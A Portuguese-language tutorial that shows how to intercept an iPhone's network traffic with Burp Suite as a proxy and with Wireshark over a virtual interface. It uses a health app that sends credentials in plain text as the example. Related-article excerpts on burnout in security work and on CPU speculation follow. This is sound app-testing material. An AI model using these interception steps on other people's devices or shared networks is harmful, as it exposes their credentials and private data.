Jump to content
  • Interceptando o tráfego de rede do iPhone

       (1 review)

    Jordan Bonagura
     Share

    Este artigo objetiva demonstrar, de maneira simplificada, diferentes abordagens para interceptação e captura de dados de tráfego de rede originários de um dispositivo iPhone, da Apple. Na verdade o iPhone não é o único dispositivo sujeito a estas abordagens, assim como as estratégias aqui apresentadas não são as únicas capazes de realizar tais interceptações, então é possível usar este conteúdo para muitas outras aplicações, mas vou focar no iPhone por agora. 🙂

    A maneira mais simples de capturar o tráfego de rede de um iPhone é utilizando um servidor proxy. Na primeira parte deste artigo, adotaremos o Burp Suite para exemplificar este funcionamento. Após a coleta dos dados, analisaremos os pacotes de uma aplicação específica e a suas conexões com serviços web.

    Caso o objetivo seja uma análise mais detalhada do tráfego de uma aplicação que utilize outras tipos de comunicação que não somente requisições web, podemos diversificar a estratégia e utilizar uma interface de rede virtual (RVI), conforme demonstraremos na segunda parte deste artigo.

    Parte 1 - Utilizando um servidor proxy - Burp Suite

    Quando mencionamos a utilização de um servidor proxy, estamos basicamente nos referindo a interceptar e analisar solicitações relacionadas ao protocolo HTTP (HyperText Transfer Protocol), seja este com a camada de segurança TLS (Transport Layer Security) ou não.

    Algumas das aplicações que temos em nossos smartphones ainda utilizam somente o protocolo HTTP, o que significa dizer que os dados trafegam na forma de texto puro, ou seja, sem qualquer criptografia, fazendo com que informações sensíveis fiquem totalmente expostas a qualquer atacante que adotar técnicas de interceptação.

    Para configuração de nosso proxy o primeiro passo é abrirmos o Burp Suite. Por padrão, a interface em que ele escuta é a local (127.0.0.1) na porta 8080, conforme podemos verificar na imagem abaixo:

    Picture1.thumb.png.ce4b830771811fe7a2da2f454a11dea0.png
    Figura 1 - Interface padrão de escuta do Burp Suite

    No Burp Suite, toda captura está por padrão relacionada a máquina local, porém para executarmos nossa estratégia de interceptação dos dados que chegarão ao nosso servidor por meio do iPhone, precisaremos adicionar o IP interno da máquina local no campo Specific address:

    Picture2.thumb.png.87ee6292fbfefa0891f7e3edbf79aaa3.png
    Figura 2 - Mudando a interface de escuta do Burp Suite

    Veja que neste caso adotamos o endereço IP 192.168.1.102 e a porta 8081.

    Uma vez o Burp Suite configurado, vamos ao iPhone:

    Picture3.thumb.jpg.dba46e8c3cc6ecc56cdd8373231568e7.jpg
    Figura 3 - Habilitando o uso de um servidor proxy no iPhone

    Perceba que o endereço IP associado ao iPhone não tem relação alguma com o servidor proxy, porém é óbvio que terão que estar na mesma rede para que o tráfego possa ser capturado. 😉

    Picture4.thumb.jpg.a0e2139e73eec727b7361ce886fac545.jpg
    Figura 4 - Configurações de proxy no iPhone

    Assim que finalizamos a configuração do iPhone para utilizar o Burp Suite como o nosso servidor proxy, já podemos ver alguns pacotes. Isso ocorre pois diversas aplicações ficam rodando em background, normalmente atualizações, updates de e-mails, entre outros.

    Abaixo temos um exemplo de pacote interceptado com o método POST do HTTP em conexão com o office365.com para atualização de e-mail. Reparem que o DeviceType já é identificado como sendo um iPhone.

    Picture5.thumb.png.efcd63ae98b34ab1cf0d2713b34ad6c6.png
    Figura 5 - Tráfego recebido pelo Burp Suite

    Para demonstração foi utilizado um aplicativo real da área da saúde, mais precisamente de uma empresa de assistência médica. Por questões éticas, ocultei os dados.

    Podemos analisar que quando abrimos o aplicativo em nosso smartphone, já são executadas chamadas à API num servidor para troca de informações e com isto já visualizamos os pacotes conforme imagem abaixo:

    Picture6.thumb.png.f95cba1c38fd6c7402d1bd28bf1859bb.png
    Figura 6 - Chamadas à API capturadas pelo Burp Suite

    Apesar de ser uma aplicação de necessidade de alto nível de sigilo de informações, os dados são trafegados em texto puro, ou seja, sem nenhuma criptografia envolvida. 😞

    Conforme podemos verificar na imagem abaixo, não estamos ainda falando de credenciais de acesso, mas de todo modo são dados sensíveis, como por exemplo o número de beneficiário e telefone.

    Picture7.thumb.png.3de49290801a094c309a6a0725469850.png
    Figura 7 - Dados sensíveis exibidos no Burp Suite
     

    Infelizmente, nesta aplicação não só os dados sensíveis anteriormente destacados são trafegados em texto plano, mas as credenciais de acesso (usuário e senha) também. Veja:

    Picture8.thumb.png.72e983bb9443213cf650e155b6e74060.png 
    Figura 8 - Credenciais em texto plano capturadas pelo Burp Suite

    Isso significa dizer que se um atacante estiver na conectado na mesma rede que nós, por exemplo uma rede wifi aberta (sem criptografia) de aeroporto, cafeteria e afins, e estivesse rodando um analisador de tráfego como este, poderia ter acesso à nossas credenciais como nome de usuário e senha. 😬

    Parte 2 - Utilizando uma interface de rede virtual (RVI) - Wireshark

    Uma outra abordagem que pode ser as vezes mais interessante é poder analisar todo o tráfego de rede que ocorre entre o dispositivo iPhone e os servidores das aplicações, agora não mais focado somente em aplicações e requisições web (HTTP), mas sim em diferentes protocolos, como por exemplo o bom e velho MSN para fins de aprendizagem, onde é possível analisar os pacotes MSNP trafegando pela rede, bem como conexões com outros dispositivos mais simples que utilizam o protocolo SNMP, por exemplo. Não há limites. 🙂

    Iniciamos com a conexão do nosso iPhone via USB ao computador que rodará o Wireshark para a coleta dos dados. Na sequência, realizaremos a criação da RVI (Remote Virtual Interface) onde necessitaremos passar como parâmetro o UUID (Universal Unique Identifiers) do iPhone. Vale lembrar que é possível obter o UUID com qualquer sistema operacional, já para criar a RVI executei o teste somente em macOS. Deixo para você verificar se é possível fazê-lo em outros sistemas, caso queira.

    Pelo próprio Finder do macOS é possível descobrir o UUID do aparelho, basta clicar no nome do dispositivo conectado e surgirá a informação conforme imagem abaixo:

    Picture9.thumb.png.0ceac2ce84a9fa7083111f2cb88355f9.png
    Figura 9 - UUID exibido no Finder

    Tendo o UUID do aparelho e estando este conectado, se faz necessário ativar a interface virtual (RVI), através do seguinte comando:

    Picture10.thumb.png.c116dc19f1aa2712f39c61cc190b1999.png
    Figura 10 - Criando uma RVI no shell do macOS

    Após recebermos a mensagem de sucesso como acima, estamos com a interface ativada e então poderemos seguir para a abertura do analisador de tráfego de rede Wireshark e selecionar a interface rvi0.

    Picture11.thumb.png.23841c5dfc927ddae4e8bc29859cba13.png
    Figura 11 - Escolha da interface para captura no Wireshark (no macOS)

    Nesta abordagem, e até para fins de comparação com a anterior, adotamos o mesmo aplicativo da área da saúde e aplicamos um filtro básico ip.src == 192.168.1.23 para facilitar a visualização somente de pacotes que têm o IP de origem do iPhone.

    É possível visualizarmos protocolos de diferentes camadas do modelo OSI. Neste exemplo, temos protocolos da camada de transporte (TCP) como também da camada de aplicação (HTTP) como pode ser visto na imagem abaixo:

    Picture12.thumb.png.86fa2e9d6fe665503730267088011625.png
    Figura 12 - Pacotes capturados pelo Wireshark

    Analisando somente os pacotes HTTP, é possível analisar as mesmas informações que visualizamos anteriormente no Burp Suite.

    Portanto, se abrirmos o conteúdo de nosso pacote selecionado, teremos também todas as informações de credenciais anteriormente demonstradas, conforme imagem abaixo:

    Picture13.thumb.png.f4180e4b80b74895e9fc7587c8b1c30e.png 
    Figura 13 - Credenciais em texto plano capturadas pelo Wireshark

    Conclusão

    Pudemos verificar que existem diferentes abordagens em relação a captura de tráfego de dados de um iPhone. Na primeira parte, demonstramos a técnica com a adoção de um servidor proxy (Burp Suite), onde foi possível analisar os pacotes relacionados a requisições web. Esta técnica é de mais fácil implementação, porém muitas vezes limitada, pois como discutimos anteriormente trabalha basicamente com protocolos HTTP/HTTPS.

    Já na segunda parte, demonstramos uma análise de maior amplitude onde foi possível verificar que protocolos de diferentes camadas também podem ser analisados, portanto, a depender do objetivo almejado e/ou da forma de comunicação da aplicação, esta abordagem pode ser mais adequada.

    Vale lembrar que ambas as técnicas são complementares, portanto, dependendo do objetivo final de análise da aplicação, ambas podem ser combinadas.

    O caminho das pedras para a configuração do ambiente de captura está aí, agora é contigo em seguir para a análise aprofundada de suas aplicações. 🤗

    Stay Safe!


    Revisão: Fernando Mercês
    • Curtir 1
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.



  • Similar Content

    • By Bruna Chieco
      Não conseguir descansar a mente ou se desligar do trabalho, se sentir mais acelerado, não conseguir dormir, pensar somente em trabalhar… esses são alguns dos sintomas detectados em alguém que está entrando em um processo de Síndrome de Burnout. Os sintomas básicos são um estresse constante, o pensamento acelerado, um esgotamento mental, e, mesmo quando a pessoa não está fazendo nada, se sente cansada. 
      Segundo reportagem da Agência Brasil, a síndrome foi incluída na Classificação Internacional de Doenças da Organização Mundial da Saúde (OMS) em 2019. A matéria traz ainda dados da OMS, que apontam que, no Brasil, 11,5 milhões de pessoas sofrem com depressão. A Síndrome de Burnout vem sendo cada vez mais comum dentro das empresas, e profissionais têm pedido afastamento de seus empregos por conta de doenças mentais relacionadas ao trabalho. 
      Na área de segurança, a pressão do dia a dia pode agravar essa situação. Muitas vezes os profissionais estão enfrentando um processo de estresse alto que pode levar a consequências físicas mais graves e nem percebem, e é importante detectar o quanto antes se essa rotina está afetando a saúde – e evitar que a situação piore. "A área de segurança tem, geralmente, uma carga muito intensa de trabalho. Não existem 8 horas de trabalhos diários, 40 horas semanais, até porque a maior parte das mudanças são feitas em janelas de atendimento durante o dia e mudanças à noite, quando há disponibilidade para alterações nos sistemas sem impacto ao usuário final. O que torna o trabalho com segurança da informação e privacidade tenso é toda a pressão que a responsabilidade da atividade traz para o dia a dia, principalmente pelo vínculo com a saúde do negócio", explica Eva Pereira, CMO, Head Security Awareness e Responsabilidade Social da IBLISS Digital Security e Team Coach de Alianças, Marketing e Privacidade da WOMCY. 
      Eva tem mais de 20 anos de experiência no mercado, atuando com segurança desde 1997. "Sempre trabalhei em média 17 horas por dia. Em um somatório de muitos anos, isso veio plantando uma sementinha que não foi legal", conta. "Quando a gente é muito jovem e tem muita saúde, acha que virar uma ou duas noites sem dormir não tem problema, mas fazer isso durante anos tem uma consequência", alerta.
      Ela diz que a tensão de manter um ambiente seguro e defender um projeto em meio a tantos outros em que a companhia deve tratar, acumula uma dinâmica em uma pessoa que sofre pressão por entregar resultados e acaba gerando uma falta de equilíbrio entre bem-estar e vida social. "Você vai se consumindo no trabalho. Tudo que é excesso traz consequências. Isso formou uma bola de neve, além do acúmulo de funções ou ter que dar conta de tudo, a falta de ir a um parque, andar descalça, um convívio social, foi se somando", destaca. 

      "Você vai se consumindo no trabalho. Tudo que é excesso traz consequências" - Eva Pereira
      Um dia Eva se deu conta que, além de não conseguir dormir, pois o corpo estava cansado e a mente não silenciava, a questão física ficou mais evidente. "Eu tive episódios de dores de cabeça por mais de 15 dias". Uma massagista da própria empresa em que trabalhava na época a alertou: "Toma cuidado, seu corpo cansou de te avisar que algo não está bem". No mesmo dia, Eva foi parar no hospital. "Eu apaguei, não estava falando coisa com coisa, estava confusa, delirando. Fui parar em um hospital, onde soube que estava tendo um princípio de AVC".
      Eva conta que não conseguia produzir muito mais depois disso. "É como se eu quisesse passar a quinta marcha na estrada, o carro pedia, mas eu não conseguia. Perdi o domínio do meu corpo, ele precisava descansar", diz Eva, que iniciou um tratamento natural, retomando suas funções aos poucos ao longo dos anos. "Precisei trocar de emprego, dar uma reviravolta na minha vida e buscar o natural para equilibrar minha rotina. Foram quase 2 anos para retomar à normalidade da capacidade que eu tinha de agilidade".
      Demanda diária – Uma pesquisa do Chartered Institute of Information Security (CIISec) sobre profissionais de segurança aponta que o estresse no local de trabalho pode ser grande, e o número de horas de trabalho nesta área aumentou durante a pandemia de Covid-19. Em média, os profissionais de segurança trabalham 42,5 horas por semana, mas alguns trabalham até 90 horas semanais, o que é preocupante, considerando que o esgotamento é destacado como um grande problema da profissão pelo relatório.
      "Quem escolheu a área de tecnologia já sabia onde estava se metendo. Durante a faculdade já começamos a ter essa visão, ou logo nos primeiros meses de trabalho sabemos que não tem horário, tem uma carga pesada de trabalho, de entrega, de cobrança, de necessidade de se manter atualizado", conta Jorge (nome fictício, pois o profissional preferiu não ser identificado). 
      Com mais de 25 anos dedicados à tecnologia, e desses, pelos menos 17 na área de segurança da informação, Jorge atua como Diretor de Segurança e lida no dia a dia com orçamentos limitados, o que faz com que as escolhas sejam difíceis. "Você dorme com aquilo na cabeça, porque fica ciente que deixou algo descoberto, e isso tira seu sono", destaca. 
      "Você não vai conseguir resolver tudo, não tem super-homem, não tem mulher maravilha.
      A área de segurança não é para heróis", pontua Jorge
      Jorge diz que ao passo em que um atacante vai buscando as brechas e vulnerabilidades, a diversidade de tecnologias e de componentes deixa a empresa cada vez mais exposta. "A transformação digital por si só já te expõe a riscos maiores. Por outro lado, você, como profissional de segurança, precisa viabilizar o negócio e muitas vezes vai dormir com a ciência de que deixou vulnerabilidades descobertas e que alguém pode se aproveitar delas".
      Apesar da pressão diária, o profissional conta que é preciso saber lidar bem com essas adversidades do dia a dia e saber delegar, sem querer carregar tudo nas costas. "Você não vai conseguir resolver tudo, não tem super-homem, não tem mulher maravilha. A área de segurança não é para heróis. É preciso saber dividir para não se sobrecarregar", indica.
      Para quem trabalha na área de segurança, responder a um incidente é um momento estressante de muita pressão. Mas para Anchises, que é profissional da área de segurança e colaborador do Mente Binária, é possível encarar com mais leveza e uma dose de satisfação. "Para trabalhar na área é preciso ter a ciência de que esse tipo de situação pode acontecer, mas sem que isso te prejudique. É ok também mudar de trabalho se não estiver aguentando a pressão. É preciso priorizar a saúde. Se você não priorizar sua saúde, ninguém vai fazer isso por você", destaca. 
      Primeiros sintomas – "Eu já tinha passado isso uma vez por um afastamento de trabalho quando eu trabalhava em uma grande rede varejista, achando que era um super-herói. Fiquei 80 dias afastado, mas quando fui parar no ambulatório da empresa, e depois no hospital, eu estava em um estado muito crítico", diz Jorge.
      Esse episódio o ajudou, no ano passado, a detectar alguns comportamentos e sintomas parecidos com os que teve naquela época. "Comecei a perceber, em junho, que as coisas estavam estranhas, mas achei que era por conta da pandemia, já que todo muito estava impactado de alguma forma". Ele diz que esse período de isolamento social agravou um pouco mais a situação, por conta da falta de um contato mais próximo das pessoas. "Apesar de ser um cara de tecnologia, eu gosto mais de gente do que de máquina. E eu comecei a sentir falta de happy hour, almoço, olho no olho, uma conversa de corredor. Achei que estava mal por causa disso, e deixei passar". 
      O primeiro sinal de alerta foi quando Jorge chorou no final de uma reunião de equipe. "Fiquei com vergonha, fechei a câmera, e algumas pessoas perceberam, mandaram mensagem. Mas isso já foi um sinal de atenção. Em agosto, eu percebi outros sintomas, como não querer sair da cama, tomar banho, comer... a cabeça estava longe, eu não lembrava o que tinha sido conversado nas reuniões, minha produtividade caiu demais, e comecei a esquecer coisas importantes. Isso impactou minha rotina", relata Jorge. 
      Ele decidiu marcar uma consulta com um psicólogo. Mas após um dia muito intenso de trabalho, Jorge percebeu que realmente precisava de uma pausa. "Um pouco antes da consulta, estourou uma crise em um dos clientes, um incidente grave de segurança. Trabalhei direto, fazendo poucas pausas. Na segunda-feira de manhã, em uma reunião para falar sobre o problema, eu desabei a chorar e acabei desabafando com meu colega. No mesmo dia, o psicólogo me encaminhou ao psiquiatra".
      Jorge teve que lidar ainda com mais um fator, que é o medo e a vergonha de se expor em relação a essa dificuldade. "Eu demorei mais de um mês para aceitar que estava doente. Mesmo com o diagnóstico, eu só comentei sobre isso com minha esposa e com o RH da empresa. Demorei para falar sobre isso com as pessoas mais próximas, que foram poucas, e só depois de uns 3 ou 4 meses que comecei a falar mais abertamente. Eu tinha vergonha e medo dessa exposição. Depois eu entendi que todo mundo tem suas vulnerabilidade e lidar com isso é um sinal de força, e não de fraqueza". 
      Segundo Fabiane de Faria, psicóloga com especialização em Terapia Cognitivo Comportamental, é comum ter medo de falar sobre o assunto, pois existe um estigma quando se fala em doenças psiquiátricas. "Parece que isso demonstra uma certa fraqueza, erroneamente, ou uma certa inabilidade no seu trabalho, que também não tem nada a ver". 
      Pandemia – "Muitas pessoas que já estavam tendenciosas a ter Burnout acabaram tendo porque a pandemia foi uma aceleração, um caminho para tudo aquilo que nos dificultava", diz Fabiane. A psicóloga destaca que para quem tinha tendência a ter ansiedade ou a deprimir, a pandemia serviu como um gatilho para iniciar uma série de movimentos. 
      O especialista em segurança da informação e Head de Resposta a Incidentes na Tempest, Thiago Araújo, notou que nesse período de home office imposto por conta do isolamento social estava trabalhando muito mais do que em um ambiente normal do dia a dia do escritório. "Em casa ficamos sentados muitas horas trabalhando, então comecei a ter problemas físicos na coluna, na perna, e problemas de ansiedade, além de uma fadiga extrema e dificuldade em me concentrar, insônia... Isso foi piorando ao longo da pandemia, e nossa área vem trabalhando muito por conta de um aumento de incidentes", conta. 

      "Hoje eu tento não pegar muitos trabalhos estressantes" - Thiago Araújo
      Em uma semana estressante de escrever relatórios, um cliente acionou a equipe de Thiago na madrugada, e ele começou a trabalhar mesmo não dormindo bem. "Nesse dia eu entrei em desespero, em pânico, eu fiquei paralisado. Minha esposa viu e me levou pra cama. No dia seguinte eu liguei para a psicanalista e avisei os colegas que eu não conseguiria mais trabalhar no caso. Eles entenderam perfeitamente", diz. 
      Thiago relata que não havia ocorrido nada parecido com ele anteriormente, apesar de ter passado por alguns momentos de ansiedade. "Passei o ano de 2020 todo com esses episódios até esse colapso. A gente acaba não percebendo, acha que no dia seguinte estará tudo bem, mas só piora". 
      Ele conta que teve apoio de sua empresa e não ficou afastado legalmente, mas saiu das tarefas mais estressantes de seu trabalho. "Continuei trabalhando normalmente, gerindo a equipe, mas fora do cenário, sem pegar casos extremos. Hoje eu tento não pegar muitos trabalhos estressantes, vou dividindo para a equipe, e chega um momento em que eles trabalham sozinhos. Depois eu ajudo em um relatório, ou no entendimento de uma evidência, tratamento de um caso".
      Papel da empresa – Trazer uma consciência mais humana ao trabalho é resultado de um processo de recuperação, conta Eva. "Eu estudo comportamento humano hoje, e vejo que quanto mais humanizado é o contato com o profissional, melhor resultado eu tenho dele. E o que as empresas precisam não é só cobrar metas, e sim dar voz de uma forma estruturada para que seus colaboradores se expressem, trazendo sua essência e diversidade de opiniões. Se a empresa faz isso, ela tem muito mais futuro e consegue crescer mais forte, além de colaboradores felizes", diz. 
      Eva ressalta a importância de estar em um ambiente de trabalho onde o colaborador é reconhecido dentro de sua importância. "É importante entender que se chegamos em um estado desse, precisamos de apoio de empresas com propósito, que se preocupam efetivamente com o colaborador, e não com um número apenas. As empresas são feitas por pessoas. É preciso proporcionar uma qualidade de vida para que a situação não chegue num ponto de insegurança mental. E se você chegar nesse ponto, que a empresa possa te apoiar na sua recuperação, pois isso é fundamental". 
      Em seu momento de crise, Jorge se sentiu apoiado por sua empresa. "A empresa continuou me pagando integralmente, colocou outra psicóloga à disposição, com quem eu conversava periodicamente, e ficou focada na minha recuperação. Toda vez que eu ensaiava voltar, eles falavam pra eu voltar bem. Na minha experiência, a empresa foi super diferenciada. E não sei se essa é a realidade da maioria delas", destaca. 
      Tratamentos e recuperação – Tratamento é a primeira coisa, o melhor e inevitável caminho para quem quer melhorar, diz a psicóloga Fabiane. Segundo ela, é importante também entender os limites, pois não é falta de vontade, não é desmotivação, nem desinteresse da pessoa que está passando por essa situação. "Na depressão, realmente tem dias que a gente fica muito para baixo, sem vontade de fazer nada, com o humor deprimido. Conseguir entender as nossas limitações, aceitar esses dias, não deixar que eles nos deixem piores e tentar recomeçar é essencial", diz. 
       
      Procurar não ficar focado somente no trabalho também faz parte de um processo de recuperação ou prevenção ao Burnout, diz a psicóloga. "O home office tem deixado as pessoas 100% focadas no trabalho, o tempo todo trabalhando, ligado no celular, no e-mail. Tentar focar em outras coisas, ter uma rotina de trabalho com horários certos, dividir quais são os horários de comer, estar com a família, ter tempo para você, para a sua atividade física… esse é o principal caminho para manter uma mente sã e tranquila", indica.

      "Temos que tomar cuidado, e se não buscarmos o autocontrole, o corpo vai reagir em algum momento" - Anchises
      Anchises diz que adotou um estilo de vida mais leve e saudável após passar por alguns episódios de estresse durante a pandemia. "Já tive vários momentos que impactaram minha saúde. Meu corpo reagiu e isso foi um sinal de alerta. Temos que tomar cuidado, e se não buscarmos o autocontrole, o corpo vai reagir em algum momento. Pode ser de forma branda ou mais grave. No meu caso, todas as vezes que tive essa percepção tentei desacelerar, diminuir meu estresse com meu trabalho para voltar a ter um equilíbrio", conta.
      Ele ressalta que, na época de pandemia, ao mesmo tempo que não sofria tanto por estar acostumado com o trabalho remoto e ter consciência que é uma fase passageira, chegou um momento que ficou exausto de tanto ficar em casa. "A maioria das minhas opções tradicionais de lazer foram cerceadas. Fiquei limitado. E por isso decidi, este ano, fazer um curso de francês para aprender a relaxar e me desconectar do trabalho, e adotei dois gatinhos para ter uma companhia", diz Anchises.
      Foi isso que Eva também fez após o episódio grave de Burnout relatado anteriormente. Hoje ela aprendeu a silenciar sua mente e a equilibrar trabalho com bem-estar e vida pessoal. Ela relata que na época de sua crise, a vontade foi de abandonar a carreira e os anos de trabalho com segurança. "Quando eu parei para pensar melhor, eu vi que não foi a tecnologia que me fez passar por isso, e sim a ausência de segurança mental para conseguir lidar com a situação no momento, por excesso de pressão e falta de apoio. Por que eu sempre acordei todos os dias? Para, de alguma forma, trabalhar por uma sociedade mais segura. E se eu não me sinto segura em levar meu propósito para os lugares, eu preciso procurar um lugar onde esse propósito se encaixe", destaca Eva. "Meu propósito de vida hoje é cuidar de mim".
      Jorge também conta que está mais focado em cuidar do corpo e da mente, fazendo exercício físico e aulas de violão junto com seu filho. "Mudei a alimentação, comecei a fazer atividades que me dão prazer. E acredito que o autoconhecimento é importante para qualquer área da vida, não somente para quem está em depressão e Burnout", diz. Da mesma forma, Thiago relata que hoje está bem melhor, fazendo terapia, e indica às pessoas a buscarem ajuda antes do corpo entrar em colapso. "Não tenha vergonha", diz.
    • By esoj
      Neste artigo vamos abordar os principais tópicos referentes a microprocessadores modernos como hierarquia de memória, pipelines, execução fora de ordem e analisar como essas features contribuiram para o surgimento de vulnerabilidades especulativas como o Spectre e o Meltdown.
      Como CPUs funcionam?
      As CPUs contêm um grupo de comandos bem definidos que permitem realizar operações lógicas e aritiméticas, ler e escrever na memória, fazer comparações, e controlar o fluxo de execução do próprio programa. O programador tem acesso a parte dessa interface da CPU através de instruções de máquina, que permitem ao programador solicitar diretamente à CPU para que esses comandos sejam realizados. Um exemplo de sequência de instruções é:
      1.mov ax,8 2.mov bx,10 3.add ax,bx Registradores são as unidades de armazenamento mais rápidas em termos de tempo de acesso, pois estão presentes dentro da CPU e estão fisicamente próximas das unidades de execução, que serão responsáveis por realizar as operações matemáticas na Unidade Lógica aritimética (ULA). 
      No exemplo acima foram utilizados dois registradores, o ax e o bx para realizar uma soma. Para o programador é importante que essas instruções sejam executadas na ordem correta, pois caso as instruções 2 e 3 troquem de posição isso poderia resultar em um comportamento inesperado do programa.
      Todavia, o ciclo completo de execução de uma única instrução possui várias etapas demoradas. Entre elas pode-se citar:
      - A leitura da própria instrução;
      - A decodificação da instrução pela CPU, realizando o chaveamento e a decisão de qual caminho o dado manipulado deve tomar;
      - A resolução dos acessos a memória, se houverem;
      - A execução da operação aritimética ou lógica, se houver;
      - A escrita do resultado na memória, se houver.
      Hierarquia de memória
      Para compreender por que certas operações demoram mais que as outras é preciso abordar o conceito de hierarquia de memória.
      Devido a questões de tecnologia empregada, proximidade física e densidade de armazenamento, os computadores utilizam uma combinação de dispositivos de armazenamento. Em geral componentes mais rápidos como registradores e caches localizam-se próximos a CPU, pois são constantemente utilizados. Esses componentes priorizam velocidade acima de densidade de bits ou custo e pelo fato de estarem próximos ao local de uso estão restritos a uma quantidade pequena. No outro extremo estão componentes lentos, mas com alta capacidade como SSDs e HDDs, que acabam priorizando armazenamento total e custo ao invés de velocidade.
      | Tecnologia empregada      | Tempo tipico de acesso      | $ por GB em 2012 | | --------                  | --------                    | -------- | | SRAM         | 0.5-2.5 ns                 | $500-$1000     | | DRAM         | 50-70 ns                    | $10-$20     | | FLASH         | 5000 5000                   | $0.75-$1.00     | | Disco Magnético         | 5000000 - 20000000 ns       | $0.05-$0.10     | Adaptado de Computer Organization and Design RISC-V Edition: The Hardware Software Interface Localidade Temporal e espacial
      A hierarquia de memória se baseia no princípio de que o acesso aos dados não é puramente aleatório. Devido à estrutura das operações mais comuns em programas como loops, acessos sequenciais a listas, e até mesmo o acesso das próprias instruções que tendem a seguir um fluxo sequencial, tem-se os conceitos de localidade temporal e espacial. 
      A localidade temporal é quando um dado recentemente acessado tem alta probabilidade de ser acessado novamente, como em índices de loops e contadores.
      A localidade espacial diz respeito ao acesso de posições de memória próximas. Por exemplo, quando o elemento 2 de uma lista é acessado, provavelmente o elemento 3 também será.
      Quando esses dados são trazidos para níveis superiores da hierarquia de memória, a próxima vez que esses itens precisarem ser acessados, os níveis inferiores não precisarão ser consultados, permitindo um acesso mais rápido ao dado.
      Hit rate, Miss rate
      Sabendo as taxas de acerto dos componentes da hierarquia pode-se calcular o tempo de acesso médio a memória e observar o impacto que determinados componentes possuem. Tomando como exemplo (não muito realista) a seguinte estrutura:
      | Componente    |Tempo de acesso | Taxa de Acerto |     | -------- | -------- | ----- | | Cache         | 2 ns | 90% | | DRAM         | 70ns |90% | | FLASH |5000ns |100% | Acontece que:
      Em 90% dos acessos o dado estará na cache e tempo de resposta será 2ns; Em 90% das 10% (9%) das ocorrências em que o dado não estava na cache, ele estará na DRAM e o tempo de resposta será 2ns (busca na cache) + 70ns (busca na DRAM); Nos 1% de acessos que não foram satisfeitos pelos componentes superiores o tempo de acesso será 5000ns +70ns+2ns. Portanto, o tempo médio de acesso será:
      0.9 * 2ns + 0.09 * 72ns + 0.01 * 572ns = 14ns Ao remover a cache o tempo médio subiria para:
      0.99 * 70ns + 0.01 * 570ns = 75ns Pipeline
      Conforme visto no programa abaixo, diversas etapas são necessarias para a execução completa de uma instrução. Todavia, durante esse processo o dado é utilizado apenas em um componente por vez, deixando os demais elementos da CPU ociosos, por exemplo durante o cálculo de uma soma na ULA não existem leituras de instruções feitas pela memória. Uma forma de melhorar o Throughtput de instruções seria permitir que os componentes ociosos trabalhem em forma de uma cadeia de produção, assim como ocorrem em uma linha de montagem, permitindo então reduzir o período de clock total pois cada etapa do processo pode ser feita em menos tempo.
      |Operação | 1 | 2 | 3 | 4 | 5 | 6 | 7 | |------------------------------------------------| |Leitura de instrução| A | B | C | | | | | |Decodificacao | | A | B | C | | | | |Execução | | | A | B | C | | | |Memória | | | | A | B | C | | |Escrita | | | | | A | B | |  
      Diagrama da execução das instruções A B e C ao longo dos ciclos 1-7 no estágio 3 por exemplo as unidades de Leitura, decodificação e execução estão ativas simultaneamente
      Todavia ao contrário de uma linha de produção em uma fábrica, instruções não são completamente independentes umas das outras. Considere a seguinte sequência:
      A. add ax,[bx] B. jz $+1 C. nop  Neste caso, a finalização da instrução A ocorrerá no melhor dos casos, apenas no ciclo 5, podendo levar ainda mais tempo dependendo de qual posição na hierarquia de memória o dado apontado por bx está. Todavia o pipeline necessita escolher se faz a leitura da instrução C ou a próxima ($+1) logo no ciclo 3. Quando isso ocorre, a CPU pode decidir esperar o resultado da operação o que acarretaria em perda de performance ou realizar uma predição sobre o pulo.
      Predição
      O exemplo acima trata de um desvio condicional. Ou seja, existem apenas dois caminhos possíveis que a CPU pode executar, tomar ou não tomar o pulo. Para auxiliar a decisão existem componentes internos na CPU chamados preditores de desvio, que coletam informações sobre os pulos recentes tomados para auxiliar na decisão. O exemplo mais simples é do contador de saturação ilustrado abaixo. Quando o desvio é tomado diversas vezes o preditor se adapta e passa a aceitar os próximos pulos tomados.
       

      Preditor condicional de 2 bits. Extraido de https://en.wikipedia.org/wiki/Branch_predictor
       
      if (*canRun){     f1(); } else{     f2(); } Exemplo de código que pode gerar comportamento especulativo caso a variável apontada por canRun não esteja na cache por exemplo
      Quando é necessário predizer o próximo endereço, é realizada uma execução especulativa ou seja, o processador não tem certeza se o caminho de execução está correto, então todos os resultados feitos a partir da predição são armazenados em registradores de rascunho. Quando a condicional que gerou a execução especulativa for resolvida (canRun foi lida da memória por exemplo), caso o caminho tomado esteja correto os resultados são gravados nos registradores verdadeiros, levando a um ganho de desempenho. Se o caminho tomado estiver incorreto os resultados presentes nos registradores de rascunho são descartados e é necessário executar o caminho correto dessa vez, levando a um desempenho semelhante ao obtido se o processador tivesse esperado a avaliação ter sido concluida.
      Processador superescalar e execução fora de ordem
      As CPUs modernas possuem mais do que uma única unidade de execução por núcleo, permitindo em algumas situações realizar mais do que uma instrução por ciclo de clock. Para que o uso de mais de um unidade de execução simultânea seja funcional ele deve ser capaz de alocar as instruções sem que haja uma alteração no resultado da operação a ser computada visando paralelizar as operações a serem realizadas. As instruções podem ser re-ordenadas e executadas fora de ordem desde que a dependência entre elas seja obedecida.
      Para que as instruções possam ser reordenadas elas devem respeitar os três riscos ao pipeline
      Read After Write
      mov rax,2 mov rbx,rax Não podem ser trocadas de ordem pois o resultado da segunda instrução seria alterado Write After Read
      mov rbx,rax mov rax,2 Não podem ser trocadas de ordem pois o resultado da primeira instrução seria alterado Write After Write
      mov rbx,rax mov rax,rbx Não podem ser trocadas de ordem pois o resultado de ambas instrução seriam alterados Desde que respeitadas essas dependências a CPU pode reordenar instruções para executar várias operações em paralelo. Abaixo esta representada a unidade de execução de uma CPU moderna.

      Unidades de execução presentes em um único núcleo de uma CPU modernas intel. Extraído de https://mdsattacks.com/
      Uma forma simples de demonstrar o paralelismo a nivel de instrução é com o código a seguir. No primeiro bloco existem 200 instruções inc esi . Devido a dependência Write after Write elas não poderão ser trocadas de ordem ou executadas em paralelo.
      No segundo bloco existem 100 instruções inc esi e 100 instruções inc edi. Embora haja dependência entre o valor atual do registrador esi e o anterior, o par de instruções pode ser executado em paralelo, pois não há dependência entre eles. 
